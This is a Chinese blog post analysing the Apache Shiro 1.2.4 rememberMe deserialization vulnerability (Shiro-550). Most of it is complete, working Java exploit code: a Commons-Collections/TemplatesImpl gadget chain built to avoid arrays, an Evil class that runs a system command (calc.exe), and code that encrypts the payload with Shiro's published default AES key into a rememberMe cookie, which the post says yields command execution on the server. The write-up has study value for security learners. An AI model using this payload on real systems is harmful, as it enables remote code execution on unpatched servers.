Shiro550漏洞分析

Shiro550漏洞分析

环境

JDK8

shiro1.2.4

commons-collections-3.2.1

漏洞原理

Shiro安全框架登录时提供记住我功能,当登录时开启记住我功能时返回包会携带一个Cookie字段,键为rememberMe,下次登陆的时候携带返回包的Cookie进行,服务器端会把这个Cookie进行解码后反序列化。

客户端用rememberMe功能时,服务器端会把Cookie数据进行序列化,然后进行AES加密,再Base64编码,最后以rememberMe为键返回给客户端。

当客户端再次登录的时候,会在请求包携带上次返回包返回的Cookie数据,服务器端把请求包携带的Cookie数据进行Base64解码,再AES解密,再进行反序列化。

在Shiro 1.2.4版本之前,进行AES加解密的key有默认值,如果服务器端没更改默认值,则导致攻击者可以构造恶意的序列化数据,并把序列化的数据进行AES加密和Base64编码,最后放到请求包中的rememberMe Cookie字段,传输到服务器端。传送到服务器端后经过Base64、AES解密后获得原始的序列化数据,再反序列化触发反序列化链。

可以说是因为泄露了AES加密的key导致的反序列化漏洞

那么构造payload的流程就为

获得默认key->构造恶意反序列化链->进行AES加密->Base64编码->放到请求包的rememberMe Cookie字段发送->经过服务器端解密、解码后反序列化->触发反序列化链

构造payload

Shiro只是提供了一个反序列化的入口,具体能不能利用还得看服务器端有没有可以利用的反序列化链!

此处加入commons-collections-3.2.1进行反序列化链的构造

构造payload的流程就很简单了,因为加入了commons-collections-3.2.1,那么直接用前面学过的ACC链进行AES加密再Base64编码即可发送Cookie到服务器端触发反序列化,但是Shiro提供的反序列化有一个 "缺陷"

在shiro提供的反序列化中,如果反序列化流中包含非java自身的数组,则会出现无法加载类的错误,那么ACC链中的Transformer数组就不能使用了,那么还怎么构造呢?

我们构造恶意TemplatesImpl对象,调用TemplatesImpl对象的newTransformer方法就可以执行系统命令(此处不理解的可以先去把ACC的几条链跟一跟),但是在ACC链中触发是通过Transformer数组触发的,如下

final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(TemplatesImpl),
    new InvokerTransformer("newTransformer", null, null)
};

但是shiro提供的反序列化中不允许反序列化流中包含非java自身的数组,上面的构造就用不了了,注意TiedMapEntry类的getValue方法,在调用this.map.get方法时,传入了一个this.key参数,跟一下TiedMapEntry.getValue->LazyMap.get->InvokerTransformer.transformer方法调用链就知道,this.key可以代替ConstantTransformer类作为一个对象传递者的功能,那么此时Transformer数组就一个元素了,那么就消去数组也可以了

最终构造反序列化链如下

public static Object getObject() throws Exception{
    ClassPool pool = ClassPool.getDefault();
    CtClass clazz = pool.get(org.apache.shiro.test.Evil.class.getName());
    byte[] bytes = clazz.toBytecode();
    TemplatesImpl Evilobj = new TemplatesImpl();
    Transformer transformer = new InvokerTransformer("getClass",null,null);
    HashMap inner = new HashMap();
    Map outer = LazyMap.decorate(inner, transformer);
    TiedMapEntry tiedMapEntry = new TiedMapEntry(outer,Evilobj);
    HashMap hashMap = new HashMap();
    hashMap.put(tiedMapEntry, "haha");
    Field iTransformers = transformer.getClass().getDeclaredField("iMethodName");
    iTransformers.setAccessible(true);
    iTransformers.set(transformer,"newTransformer");
    Field bytecodes = Evilobj.getClass().getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    Field name = Evilobj.getClass().getDeclaredField("_name");
    name.setAccessible(true);
    Field tfactory = Evilobj.getClass().getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    bytecodes.set(Evilobj,new byte[][]{bytes});
    name.set(Evilobj,"ky");
    tfactory.set(Evilobj,new TransformerFactoryImpl());
    inner.clear();
    return hashMap;
}

把序列化的数据进行AES加密后Base64编码,通过Shiro内置的AesCipherService类进行加密并编码,默认的AES加密key为kPH+bIxk5D2deZiIxcaaaA==

public static void main(String[] args) throws Exception{
    HashMap hashMap = (HashMap) getObject();
    ByteArrayOutputStream bo = new ByteArrayOutputStream();
    ObjectOutputStream oo = new ObjectOutputStream(bo);
    oo.writeObject(hashMap);
    byte[] bytes = bo.toByteArray();
    AesCipherService aesCipherService = new AesCipherService();
    byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
    ByteSource encrypt = aesCipherService.encrypt(bytes, key);
    System.out.println(encrypt.toString());
}

构造反序列化链时获取到org.apache.shiro.test.Evil.class恶意类构造方法存在命令执行代码。完整payload

Evil.java文件

package org.apache.shiro.test;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Evil extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    public Evil() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
    }
}

PayloadDemo02.java文件

package org.apache.shiro.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import javassist.ClassPool;
import javassist.CtClass;

public class PayloadDemo02 {
    public static void main(String[] args) throws Exception{
        HashMap hashMap = (HashMap) getObject();
        ByteArrayOutputStream bo = new ByteArrayOutputStream();
        ObjectOutputStream oo = new ObjectOutputStream(bo);
        oo.writeObject(hashMap);
        byte[] bytes = bo.toByteArray();
        AesCipherService aesCipherService = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource encrypt = aesCipherService.encrypt(bytes, key);
        System.out.println(encrypt.toString());
    }

    public static Object getObject() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(org.apache.shiro.test.Evil.class.getName());
        byte[] bytes = clazz.toBytecode();
        TemplatesImpl Evilobj = new TemplatesImpl();
        Transformer transformer = new InvokerTransformer("getClass",null,null);
        HashMap inner = new HashMap();
        Map outer = LazyMap.decorate(inner, transformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outer,Evilobj);
        HashMap hashMap = new HashMap();
        hashMap.put(tiedMapEntry, "haha");
        Field iTransformers = transformer.getClass().getDeclaredField("iMethodName");
        iTransformers.setAccessible(true);
        iTransformers.set(transformer,"newTransformer");
        Field bytecodes = Evilobj.getClass().getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        Field name = Evilobj.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        Field tfactory = Evilobj.getClass().getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        bytecodes.set(Evilobj,new byte[][]{bytes});
        name.set(Evilobj,"ky");
        tfactory.set(Evilobj,new TransformerFactoryImpl());
        inner.clear();
        return hashMap;
    }
}

把生成的Cookie放到请求包即可进行命令执行

总结

加解密过程代码调试可以参考这篇文章

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值